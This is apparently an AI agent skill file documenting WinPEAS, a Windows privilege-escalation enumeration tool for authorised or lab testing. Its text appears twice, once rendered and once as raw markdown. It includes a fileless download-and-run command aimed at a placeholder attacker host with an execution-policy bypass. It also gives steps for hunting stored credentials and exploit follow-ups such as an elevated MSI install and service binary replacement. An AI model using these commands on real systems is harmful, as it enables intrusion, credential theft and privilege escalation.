WinPEAS
Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.
Quick Start
# EXE version (simplest)
winpeas.exe
# Quiet mode (findings only, no banner)
winpeas.exe quiet
# Focus service misconfigurations only
winpeas.exe quiet servicesinfo
# Export to file
winpeas.exe > C:\Windows\Temp\winpeas.txt
# PowerShell version (for ESC bypass)
powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"
# In-memory PowerShell delivery
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"
Key Enumeration Areas
| Category |
What's Checked |
Critical Findings |
| System Info |
Windows version, build, architecture, UAC |
Unpatched OS, UAC disabled |
| Users & Groups |
Local admins, RDP users, group members |
Overprivileged users, domain admins |
| Network |
Network adapters, firewall rules, listening ports |
Cleartext protocols, open admin ports |
| Services |
Running services, startup type, binary paths, permissions |
Unquoted paths, weak service permissions, DLL hijacking |
| Scheduled Tasks |
Task details, scripts, execution context |
Tasks running as SYSTEM, weak script perms |
| Drivers |
Loaded drivers, kernel mode, vulnerable versions |
Vulnerable drivers (Gigabyte, etc) |
| DLL Hijacking |
DLL search paths, writable directories |
Exploitable DLL loads |
| Registry |
AutoRun entries, credentials in registry, policies |
Plaintext creds, auto-privilege escalation |
| Credentials |
Cached creds, saved passwords, browser data |
Plaintext passwords, cred manager access |
| AppData |
Application config files with hardcoded creds |
App credentials, SSH keys |
| Patching |
Missing KB patches, vulnerability mapping |
Known CVEs with public exploits |
| File Permissions |
Writable system directories, NTFS ACLs |
World-writable binaries, weak folder perms |
| Antivirus & EDR |
AV presence, exclusions, service status |
Disabled/excluded antivirus |
| Kerberos |
Constrained delegation, unconstrained delegation |
Ticket impersonation paths |
Core Flags
| Flag |
Description |
quiet |
Print findings only, minimal output |
-OutputFormat <format> |
HTML / CSV / TEXT (PowerShell only) |
-FilePath <path> |
Save to file |
-Domain |
AD-specific checks |
-Searchpath <path> |
Custom search path |
Common Workflows
Full enumeration
winpeas.exe > enum_full.txt
# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppData
Focused credential hunt
# After running WinPEAS, look for:
# - Browser data in AppData
# - Saved passwords in config files
# - SAM/LSA secrets in registry (read-only from user context)
# - SSH keys in .ssh folder
Service vulnerability assessment
# WinPEAS output shows:
# 1. Service binary path (check for quotes)
# 2. Service permissions (can you modify?)
# 3. DLL dependencies (can you hijack?)
# → Build exploit chain
Before/After Enumeration
# Run once at initial shell
# Run again after low-priv escalation
# → Identify new privilege escalation paths available at new level
Key Findings Priority
🔴 CRITICAL — Exploitable immediately:
- Unquoted service paths + writable directory
- Weak service permissions + SYSTEM service
AlwaysInstallElevated = 1
SeImpersonatePrivilege on exploitable host
- Plaintext password in registry/config
- Unpatched kernel (CVE with public exploit)
🟠 HIGH — Likely exploitable:
- DLL hijacking opportunities
- Scheduled task running as SYSTEM with weak script perms
- Weak NTFS ACLs on system directories
- Missing patches (no public exploit yet)
High-Value Exploit Follow-Ups
| Finding |
Typical follow-up |
AlwaysInstallElevated = 1 |
Build MSI and execute with msiexec /quiet /i evil.msi |
SeImpersonatePrivilege |
Check Potato-family techniques / PrintSpoofer-style abuse |
| Unquoted service path |
Drop executable in writable intermediate path and restart service |
| Writable service binary |
Replace binary or re-point service path if ACLs allow |
🟡 MEDIUM — Context-dependent:
- Cached credentials (requires specific auth method)
- Browser stored data (requires unlock)
- Unused admin credentials
Output Interpretation
WinPEAS marks high-risk findings with:
- 🔴 Red highlight or
[!] prefix
- Yellow/orange for medium risk
- Green for low risk
Review marked sections first — these are most likely escalation vectors.
Post-WinPEAS Workflow
- Identify low-hanging fruit — unquoted paths, weak perms, plaintext creds
- Verify exploitability — test each finding (e.g., can you actually write to that directory?)
- Develop exploit — craft batch/PowerShell/C# for the specific vector
- Execute — run exploit, verify SYSTEM/Admin shell
- Repeat — re-run WinPEAS at new privilege level, find further vectors
Resources
| File |
When to load |
references/ |
Privesc techniques, exploitation examples, Windows security features |
1---2name: winpeas3description: Auth/lab ref: Windows privilege escalation enumeration tool that identifies misconfigurations, weak permissions, unpatched services, and privilege escalation paths.4license: GPL-3.05---67# WinPEAS89Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.1011## Quick Start1213```cmd14# EXE version (simplest)15winpeas.exe1617# Quiet mode (findings only, no banner)18winpeas.exe quiet1920# Focus service misconfigurations only21winpeas.exe quiet servicesinfo2223# Export to file24winpeas.exe > C:\Windows\Temp\winpeas.txt2526# PowerShell version (for ESC bypass)27powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"2829# In-memory PowerShell delivery30powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"31```3233## Key Enumeration Areas3435| Category | What's Checked | Critical Findings |36|----------|---|---|37| **System Info** | Windows version, build, architecture, UAC | Unpatched OS, UAC disabled |38| **Users & Groups** | Local admins, RDP users, group members | Overprivileged users, domain admins |39| **Network** | Network adapters, firewall rules, listening ports | Cleartext protocols, open admin ports |40| **Services** | Running services, startup type, binary paths, permissions | Unquoted paths, weak service permissions, DLL hijacking |41| **Scheduled Tasks** | Task details, scripts, execution context | Tasks running as SYSTEM, weak script perms |42| **Drivers** | Loaded drivers, kernel mode, vulnerable versions | Vulnerable drivers (Gigabyte, etc) |43| **DLL Hijacking** | DLL search paths, writable directories | Exploitable DLL loads |44| **Registry** | AutoRun entries, credentials in registry, policies | Plaintext creds, auto-privilege escalation |45| **Credentials** | Cached creds, saved passwords, browser data | Plaintext passwords, cred manager access |46| **AppData** | Application config files with hardcoded creds | App credentials, SSH keys |47| **Patching** | Missing KB patches, vulnerability mapping | Known CVEs with public exploits |48| **File Permissions** | Writable system directories, NTFS ACLs | World-writable binaries, weak folder perms |49| **Antivirus & EDR** | AV presence, exclusions, service status | Disabled/excluded antivirus |50| **Kerberos** | Constrained delegation, unconstrained delegation | Ticket impersonation paths |5152## Core Flags5354| Flag | Description |55|---|---|56| `quiet` | Print findings only, minimal output |57| `-OutputFormat <format>` | HTML / CSV / TEXT (PowerShell only) |58| `-FilePath <path>` | Save to file |59| `-Domain` | AD-specific checks |60| `-Searchpath <path>` | Custom search path |6162## Common Workflows6364### Full enumeration65```cmd66winpeas.exe > enum_full.txt67# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppData68```6970### Focused credential hunt71```cmd72# After running WinPEAS, look for:73# - Browser data in AppData74# - Saved passwords in config files75# - SAM/LSA secrets in registry (read-only from user context)76# - SSH keys in .ssh folder77```7879### Service vulnerability assessment80```cmd81# WinPEAS output shows:82# 1. Service binary path (check for quotes)83# 2. Service permissions (can you modify?)84# 3. DLL dependencies (can you hijack?)85# → Build exploit chain86```8788### Before/After Enumeration89```cmd90# Run once at initial shell91# Run again after low-priv escalation92# → Identify new privilege escalation paths available at new level93```9495## Key Findings Priority9697🔴 **CRITICAL** — Exploitable immediately:98- Unquoted service paths + writable directory99- Weak service permissions + SYSTEM service100- `AlwaysInstallElevated = 1`101- `SeImpersonatePrivilege` on exploitable host102- Plaintext password in registry/config103- Unpatched kernel (CVE with public exploit)104105🟠 **HIGH** — Likely exploitable:106- DLL hijacking opportunities107- Scheduled task running as SYSTEM with weak script perms108- Weak NTFS ACLs on system directories109- Missing patches (no public exploit yet)110111## High-Value Exploit Follow-Ups112113| Finding | Typical follow-up |114|---|---|115| `AlwaysInstallElevated = 1` | Build MSI and execute with `msiexec /quiet /i evil.msi` |116| `SeImpersonatePrivilege` | Check Potato-family techniques / PrintSpoofer-style abuse |117| Unquoted service path | Drop executable in writable intermediate path and restart service |118| Writable service binary | Replace binary or re-point service path if ACLs allow |119120🟡 **MEDIUM** — Context-dependent:121- Cached credentials (requires specific auth method)122- Browser stored data (requires unlock)123- Unused admin credentials124125## Output Interpretation126127WinPEAS marks high-risk findings with:128- 🔴 Red highlight or `[!]` prefix129- Yellow/orange for medium risk130- Green for low risk131132Review marked sections first — these are most likely escalation vectors.133134## Post-WinPEAS Workflow1351361. **Identify low-hanging fruit** — unquoted paths, weak perms, plaintext creds1372. **Verify exploitability** — test each finding (e.g., can you actually write to that directory?)1383. **Develop exploit** — craft batch/PowerShell/C# for the specific vector1394. **Execute** — run exploit, verify SYSTEM/Admin shell1405. **Repeat** — re-run WinPEAS at new privilege level, find further vectors141142## Resources143144| File | When to load |145|---|---|146| `references/` | Privesc techniques, exploitation examples, Windows security features |